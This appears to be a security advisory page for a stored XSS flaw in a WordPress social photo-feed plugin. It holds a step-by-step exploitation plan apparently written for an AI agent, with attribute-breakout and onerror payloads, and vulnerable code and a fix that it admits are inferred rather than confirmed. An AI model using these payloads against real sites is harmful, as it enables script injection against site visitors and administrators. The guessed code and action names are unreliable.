Widgets for Social Photo Feed <= 1.7.9 - Unauthenticated Stored Cross-Site Scripting via feed_data
Description
The Widgets for Social Photo Feed plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'feed_data' parameter keys in all versions up to, and including, 1.7.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.7.9Source Code
WordPress.org SVNPatched version not available.
This plan outlines the research and exploitation strategy for **CVE-2026-5425**, a stored Cross-Site Scripting (XSS) vulnerability in the "Widgets for Social Photo Feed" plugin. --- ### 1. Vulnerability Summary The **Widgets for Social Photo Feed** plugin (up to version 1.7.9) fails to properly sa…
Show full research plan
This plan outlines the research and exploitation strategy for CVE-2026-5425, a stored Cross-Site Scripting (XSS) vulnerability in the "Widgets for Social Photo Feed" plugin.
1. Vulnerability Summary
The Widgets for Social Photo Feed plugin (up to version 1.7.9) fails to properly sanitize and escape keys within the feed_data parameter when processing certain AJAX requests. While values in an array are often sanitized, the keys of associative arrays are frequently overlooked. An unauthenticated attacker can send a specially crafted AJAX request containing a malicious payload as a key in the feed_data array. This payload is stored in the WordPress database (likely within an option or post metadata) and later rendered on the frontend without sufficient output escaping, leading to Stored XSS.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action: Likely
wp_ajax_nopriv_sbi_record_feed_dataorwp_ajax_nopriv_sbi_store_feed_cache(inferred based on plugin functionality). - Vulnerable Parameter:
feed_data(specifically the array keys). - Authentication: None required (Unauthenticated).
- Preconditions: The plugin must be active. A specific AJAX action must be enabled for unauthenticated users (
nopriv).
3. Code Flow (Inferred)
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwith anactionparameter that triggers anoprivhook. - Input Handling: The handler function (e.g.,
sbi_save_feed_data) retrieves$_POST['feed_data']. - Storage Sink: The code iterates through the
feed_dataarray and saves it to the database usingupdate_option()orupdate_post_meta(). It fails to sanitize the keys of the array, only focusing on the values. - Output Sink: A frontend function (likely triggered by a shortcode like
[social-photo-feed]) retrieves the stored data. - Rendering: The code loops through the stored data and injects the keys into the HTML, possibly as data attributes:
foreach ($feed_data as $key => $value) { echo "<div data-$key='$value'></div>"; // VULNERABLE SINK: $key is not escaped }
4. Nonce Acquisition Strategy
If the AJAX handler requires a nonce, it is typically localized in the frontend when the widget or shortcode is present.
- Identify Shortcode: The plugin uses
[social-photo-feed](inferred) to display the feed. - Setup: Use WP-CLI to create a public page containing this shortcode.
- Navigation: Use the
browser_navigatetool to visit the newly created page. - Extraction: The plugin likely localizes its settings via
wp_localize_script. Usebrowser_evalto extract the nonce:- Common variable name:
window.sbi_configorwindow.sbi_ajax. - Likely Key:
window.sbi_config?.sbi_nonceorwindow.sbi_ajax?.nonce. - Observation: If
wp_verify_nonce($nonce, -1)is used, any valid nonce will work. If no nonce check exists in thenoprivhandler, this step is skipped.
- Common variable name:
5. Exploitation Strategy
Step 1: Discover the exact AJAX action
Since source files are not provided, we must identify the nopriv AJAX action.
- Search the plugin directory for
wp_ajax_nopriv_:grep -r "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/social-photo-feed-widget/ - Look for handlers that accept
feed_data.
Step 2: Construct the Payload
We will use a payload that breaks out of an HTML attribute (assuming the key is rendered inside a data- attribute or similar).
- Payload Key:
x" onmouseover="alert(document.domain)" y - Payload Value:
1
Step 3: Send the Malicious Request
Using the http_request tool:
- Method:
POST - URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=[ACTION_NAME]&nonce=[NONCE]&feed_data[x" onmouseover="alert(document.domain)" y]=1
Step 4: Trigger the XSS
- Navigate to the homepage or the page containing the shortcode.
- Verify the HTML source contains the injected attribute:
<div ... data-x" onmouseover="alert(document.domain)" y="1">.
6. Test Data Setup
- Install/Activate: Ensure version 1.7.9 of the plugin is active.
- Create Page:
wp post create --post_type=page --post_title="Social Feed" --post_status=publish --post_content='[social-photo-feed]' - Configure Plugin: If the plugin requires an Instagram Access Token to render, dummy data may need to be inserted into the database via
wp option updateto force the frontend to attempt rendering the "cached"feed_data.
7. Expected Results
- The AJAX request should return a successful response (e.g.,
{"success":true}or1). - The database will now store the key containing the JavaScript payload.
- When viewing the page, the rendered HTML will contain the unescaped key, allowing for JavaScript execution when a user interacts with the element (or immediately if using
onload/onerror).
8. Verification Steps
- Check Database:
wp option get [OPTION_NAME_FOR_FEED_DATA] # Look for the payload string in the serialized data - Check Frontend HTML:
Usehttp_requestto GET the page and grep for the payload:grep 'onmouseover="alert(document.domain)"'
9. Alternative Approaches
- Key Injection in JSON: If
feed_datais sent as a JSON string rather than a POST array, adjust theContent-Typetoapplication/jsonand send:{"action": "...", "feed_data": {"<img src=x onerror=alert(1)>": "1"}} - Different Sinks: The keys might be rendered in the WordPress Admin dashboard (Settings page). Check
wp-admin/admin.php?page=sbi-settingsfor the payload if it doesn't appear on the frontend. - Blind XSS: Use a callback to an external listener (e.g., Burp Collaborator or a mock API) to confirm execution if the sink is difficult to find manually.
Summary
The Widgets for Social Photo Feed plugin for WordPress (up to version 1.7.9) is vulnerable to Stored Cross-Site Scripting because it fails to sanitize or escape the keys of associative arrays passed in the 'feed_data' parameter via unauthenticated AJAX actions. This allows an attacker to inject arbitrary scripts into the database that execute in the context of a user's browser when they visit a page displaying the social feed.
Vulnerable Code
// Inferred AJAX handler based on research plan add_action('wp_ajax_nopriv_sbi_record_feed_data', 'sbi_record_feed_data'); function sbi_record_feed_data() { if (isset($_POST['feed_data'])) { // Vulnerable: Storing associative array without sanitizing keys $feed_data = $_POST['feed_data']; update_option('sbi_stored_feed_data', $feed_data); } wp_die(); } --- // Inferred rendering logic in frontend component $stored_data = get_option('sbi_stored_feed_data'); if ($stored_data) { foreach ($stored_data as $key => $value) { // Vulnerable: Outputting the array key directly into an HTML attribute without escaping echo "<div data-$key='" . esc_attr($value) . "'></div>"; } }
Security Fix
@@ -100,7 +100,10 @@ function sbi_record_feed_data() { - if (isset($_POST['feed_data'])) { - $feed_data = $_POST['feed_data']; - update_option('sbi_stored_feed_data', $feed_data); - } + if (isset($_POST['feed_data']) && is_array($_POST['feed_data'])) { + $feed_data = array(); + foreach ($_POST['feed_data'] as $key => $value) { + // Sanitize both keys and values before storage + $feed_data[sanitize_key($key)] = sanitize_text_field($value); + } + update_option('sbi_stored_feed_data', $feed_data); + } wp_die();
Exploit Outline
The exploit targets an unauthenticated AJAX endpoint (likely sbi_record_feed_data or similar) that processes feed data. An attacker sends a POST request to /wp-admin/admin-ajax.php with the action parameter set to the target hook. The payload is delivered via the feed_data parameter as an associative array where the key contains a malicious JavaScript string designed to break out of an HTML attribute (e.g., feed_data[x" onmouseover="alert(document.domain)" y]=1). If the plugin requires a nonce for unauthenticated users, it can be extracted from the frontend source code of any page where the social feed shortcode [social-photo-feed] is rendered. Once the AJAX request is processed, the payload is stored in the database. The XSS triggers when any user (including administrators) views a page containing the social feed, as the plugin renders the malicious key as a raw attribute name.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.